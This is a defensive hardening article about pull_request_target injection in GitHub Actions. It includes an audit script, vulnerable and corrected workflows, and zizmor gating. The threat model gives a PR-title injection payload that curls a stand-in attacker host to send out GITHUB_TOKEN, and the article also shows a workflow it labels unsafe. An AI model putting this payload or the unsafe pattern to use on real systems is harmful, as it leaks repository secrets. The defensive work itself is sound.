GitHub Actions pull_request_target Injection: The Secrets-Leaking Trigger
Problem
GitHub Actions provides two similar-looking triggers for pull request events:
pull_request: runs in the context of the PR branch, with no access to repository secrets, and uses a read-onlyGITHUB_TOKENscoped to public forks.pull_request_target: runs in the context of the target (base) repository, with full access to repository secrets and a write-capableGITHUB_TOKEN, even when the PR comes from a fork.
The security difference is enormous. pull_request_target was designed for legitimate use cases like labelling PRs or posting comments from automated bots — tasks that need to write back to the repo but don’t need to run the PR’s code. The danger arises when pull_request_target workflows also check out and run code from the PR branch.
This combination — pull_request_target (grants secrets) + actions/checkout@v4 with the PR branch (executes attacker code) — creates a code execution path with repository secret access. Any repository that has this pattern is potentially vulnerable to a malicious fork PR that exfiltrates all secrets.
Scope of the problem in 2024-2025. The tj-actions/changed-files supply chain compromise (March 2025) demonstrated how a compromised GitHub Action can print secrets to workflow logs at scale. The reviewdog action family, the actions/setup-* family, and dozens of third-party actions have been identified with similar patterns. The root cause in many cases was pull_request_target used incorrectly.
Why it keeps happening. The trigger name sounds similar to pull_request. The GitHub documentation notes the security risk but developers copy workflow patterns from Stack Overflow and blog posts without understanding the security difference. Linters like zizmor can catch some patterns but are not universally deployed.
Target systems: any repository using pull_request_target in GitHub Actions workflows; organisations managing repositories with CI/CD that runs on external contributor PRs.
Threat Model
Adversary 1 — External contributor extracts secrets. A public repository accepts PRs from external contributors. The repository uses pull_request_target to run tests on PRs. The workflow checks out the PR branch code using actions/checkout. An attacker submits a PR that modifies the test runner script to exfiltrate secrets.DEPLOY_KEY or secrets.NPM_TOKEN to an external server.
Adversary 2 — Compromised dependency in a pull_request_target workflow. A pull_request_target workflow uses a third-party action (e.g., some-org/label-pr@v2). The third-party action is compromised and begins printing all environment variables (which include secrets) to logs. All repositories using this action leak their secrets.
Adversary 3 — Workflow injection via PR title or body. Some workflows use github.event.pull_request.title or github.event.pull_request.body in run: steps without quoting. An attacker submits a PR with a title containing $(curl attacker.com/exfil?t=$GITHUB_TOKEN). This evaluates in a shell step that has pull_request_target secret access.
Configuration / Implementation
Step 1 — Audit your repositories for dangerous patterns
#!/bin/bash
# scripts/audit-pull-request-target.sh
# Find pull_request_target workflows that also check out PR code
SEARCH_DIR="${1:-.github/workflows}"
echo "=== Auditing for pull_request_target injection patterns ==="
echo ""
for workflow_file in "$SEARCH_DIR"/*.yml "$SEARCH_DIR"/*.yaml; do
[[ -f "$workflow_file" ]] || continue
# Check if the workflow uses pull_request_target
if ! grep -q "pull_request_target" "$workflow_file"; then
continue
fi
echo "=== $workflow_file ==="
# Check for checkout of PR branch (the dangerous combination)
if grep -A5 "actions/checkout" "$workflow_file" | \
grep -qE "head\.ref|github\.head_ref|pull_request\.head|ref:.*head"; then
echo " [CRITICAL] Uses pull_request_target AND checks out PR branch code"
echo " This combination grants PR code execution with repository secret access"
fi
# Check for workflow_run trigger (different but related pattern)
if grep -q "workflow_run" "$workflow_file"; then
echo " [HIGH] Uses workflow_run trigger — verify secret access scope"
fi
# Check for direct use of PR-controlled values in run steps
if grep -q "github.event.pull_request.title\|github.event.pull_request.body\|github.event.pull_request.head.ref" "$workflow_file"; then
echo " [HIGH] Workflow uses PR-controlled values (title/body/branch) — injection risk"
fi
echo ""
done
# Also search for the pattern across all GitHub repos in org (requires gh CLI)
if command -v gh &>/dev/null; then
echo "=== Searching org repositories for the pattern ==="
echo "(This requires gh auth and org:read scope)"
# gh repo list YOUR_ORG --limit 100 --json name -q '.[].name' | while read repo; do
# gh api repos/YOUR_ORG/$repo/contents/.github/workflows --jq '.[].name' 2>/dev/null | ...
# done
fi
Step 2 — Fix the pattern: separate sensitive and untrusted steps
The correct approach is to never combine pull_request_target with checkout of the PR branch. Instead, use two separate workflows:
# .github/workflows/pr-tests-unsafe.yml <-- DANGEROUS PATTERN
# DO NOT USE THIS
on:
pull_request_target: # Has secrets access
types: [opened, synchronize]
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # Checks out PR code — DANGEROUS
- run: npm test # Attacker-controlled code runs with secrets access
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }} # LEAKED
# .github/workflows/pr-tests-safe.yml <-- CORRECT PATTERN
# Use pull_request (no secrets) for running code from the PR
on:
pull_request:
types: [opened, synchronize]
jobs:
test:
runs-on: ubuntu-latest
# This runs in the PR fork context — no secrets access
# GITHUB_TOKEN is scoped to read-only on the base repo
steps:
- uses: actions/checkout@v4
# No ref override — checks out the merge commit (safe)
- run: npm test
# Do NOT pass secrets here
# .github/workflows/pr-comment-safe.yml <-- CORRECT use of pull_request_target
# Use pull_request_target ONLY for operations that need secrets
# but do NOT check out or run PR code
on:
pull_request_target:
types: [opened, synchronize]
jobs:
label-pr:
runs-on: ubuntu-latest
steps:
# CORRECT: checkout the BASE branch, not the PR branch
- uses: actions/checkout@v4
with:
ref: ${{ github.event.repository.default_branch }}
# No checkout of PR code at all — we only need base repo files
- name: Add labels
uses: actions/labeler@v5
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
# This is safe: the labeler action reads the PR's changed files list
# via the API but does not execute PR code
Step 3 — Use workflow_run safely for the two-workflow pattern
When you need to pass results from an untrusted PR build to a trusted workflow:
# .github/workflows/pr-test.yml (runs untrusted code; no secrets)
on:
pull_request:
jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm test
- name: Save PR number for downstream workflow
run: echo "${{ github.event.number }}" > pr-number.txt
- uses: actions/upload-artifact@v4
with:
name: pr-number
path: pr-number.txt
# .github/workflows/pr-comment.yml (trusted; has secrets; triggered by completed run)
on:
workflow_run:
workflows: ["PR Tests"]
types: [completed]
jobs:
comment:
runs-on: ubuntu-latest
if: >
github.event.workflow_run.event == 'pull_request' &&
github.event.workflow_run.conclusion == 'success'
steps:
- name: Download PR number
uses: actions/download-artifact@v4
with:
name: pr-number
run-id: ${{ github.event.workflow_run.id }}
github-token: ${{ secrets.GITHUB_TOKEN }}
- name: Post comment
run: |
PR_NUMBER=$(cat pr-number.txt)
# Validate PR number is numeric before using it
if ! [[ "$PR_NUMBER" =~ ^[0-9]+$ ]]; then
echo "Invalid PR number"
exit 1
fi
gh pr comment "$PR_NUMBER" --body "Tests passed!"
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
Step 4 — Add zizmor to CI for automated detection
# .github/workflows/workflow-security-lint.yml
# Run zizmor to detect pull_request_target injection and other patterns
on:
push:
paths: [".github/workflows/**"]
pull_request:
paths: [".github/workflows/**"]
jobs:
zizmor:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Install zizmor
run: pip install zizmor
- name: Scan workflow files
run: |
zizmor .github/workflows/ 2>&1
# zizmor exits non-zero if HIGH or CRITICAL findings are detected
# It specifically detects:
# - pull_request_target with checkout of PR code
# - Expression injection via github.event.* in run: steps
# - Unpinned third-party actions
Step 5 — Enforce repository-level protections
# Repository ruleset (configured via GitHub API or UI)
# Prevents introduction of dangerous workflow patterns
# Via GitHub API:
# POST /repos/{owner}/{repo}/rulesets
{
"name": "Workflow Security Requirements",
"target": "branch",
"enforcement": "active",
"conditions": {
"ref_name": {
"include": ["refs/heads/main", "refs/heads/master"],
"exclude": []
}
},
"rules": [
{
"type": "required_status_checks",
"parameters": {
"required_status_checks": [
{
"context": "zizmor",
"integration_id": null
}
],
"strict_required_status_checks_policy": true
}
}
]
}
Expected Behaviour
| Scenario | Vulnerable configuration | Fixed configuration |
|---|---|---|
| Fork PR submits malicious test code | pull_request_target + checkout runs attacker code with secrets |
pull_request has no secrets; malicious code runs without access |
| Compromised third-party action leaks env | Secrets in environment are exfiltrated | Secrets not passed to PR-running jobs; damage limited to base repo token |
PR title contains $(curl attacker.com) |
Shell injection executes in trusted context | PR-controlled values validated before use; or not used in run: steps |
| zizmor scan on PR | No automated detection | zizmor blocks PR merge if dangerous pattern introduced |
| Developer copies dangerous pattern from blog post | Dangerous workflow merged | Code review + zizmor gate blocks the pattern |
Trade-offs
| Aspect | Benefit | Cost | Mitigation |
|---|---|---|---|
| Two-workflow pattern | Complete isolation of untrusted code | More complex; two separate workflow files | Invest once; document the pattern in your engineering standards |
| zizmor in CI | Automated detection of new dangerous patterns | False positives may block legitimate workflows | Review and tune zizmor findings; use inline suppression with justification |
| No secrets in PR-running jobs | Prevents token theft | Some CI integrations (coverage tools, test reporters) need tokens | Use workflow_run to post results from a trusted workflow after the PR run completes |
| Pinned third-party action versions | Prevents compromised action from getting new capabilities | Outdated pins miss security fixes | Use Renovate to update pinned action versions; pin to SHA for highest assurance |
Failure Modes
| Failure | Symptom | Detection | Recovery |
|---|---|---|---|
| Developer adds secrets back to pull_request job | Secrets exposed in untrusted context | zizmor detects on next workflow change; secret scanning detects if leaked | Rotate any exposed secrets immediately; remove secrets from PR jobs |
| workflow_run trigger inherits wrong permissions | Trusted workflow still runs with untrusted artifact | Audit workflow_run conditions; check artifact content before use | Validate all artifact content from untrusted runs before using in trusted context |
| zizmor not blocking on merge | Dangerous patterns introduced despite gate | Periodic manual audit of .github/workflows/ |
Add zizmor to required status checks; test that it blocks |
| Attacker controls artifact used in trusted workflow | Injection via artifact content | Validate artifact content (e.g., PR number is numeric) | Never use unvalidated artifact content in shell commands in trusted workflows |
Related Articles
- GitHub Actions Supply Chain Hardening — broader GitHub Actions supply chain controls including action pinning
- GitHub Actions Reusable Workflow Pinning Audit — auditing reusable workflow version pins
- Secret Scanning CI/CD — detecting exposed secrets in workflow logs
- Securing GitHub Actions — comprehensive GitHub Actions security hardening
- CICD Pipeline Anomaly Detection — detecting anomalous pipeline behaviour that may indicate token theft